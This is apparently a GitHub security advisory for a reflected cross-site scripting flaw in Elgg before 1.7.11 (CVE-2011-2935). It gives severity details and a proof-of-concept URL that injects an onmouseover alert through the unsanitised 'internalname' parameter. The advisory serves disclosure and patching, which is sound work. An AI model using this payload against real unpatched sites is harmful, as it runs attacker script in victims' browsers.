GitHub Advisoryadvisory · Packagist

GHSA-mcfm-j5g6-w26f Elgg Reflected XSS Vulnerability

MEDIUM Published 2022-04-22 Modified 2024-01-12 Official page ↗
Aliases
CVE-2011-2935
Ecosystem
Packagist
Packages
elgg/elgg
Severity
Moderate
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Weaknesses
CWE-79
Reviewed
2024-01-12

Affected packages

• Packagist elgg/elgg: < 1.7.11 → fixed in 1.7.11

Description

VULNERABILITY DESCRIPTION The `internalname` parameter is not properly sanitized, which allows attacker to conduct Cross Site Scripting attack. This may allow an attacker to create a specially crafted URL that would execute arbitrary script code in a victim's browser PROOF-OF-CONCEPT/EXPLOIT ```http http://localhost/pg/embed/media?internalname=%20%22onmouseover=%22alert%28/XSS/%29%22style=%22width:3000px!important;height:3000px!important;z-index:999999;position:absolute!important;left:0;top:0;%22%20x=%22 ```

Related

Alias · CVE (1)

Weakness · CWE (1)

  • CWE-79 Improper Neutralization of Input During Web Page Generation weakness

References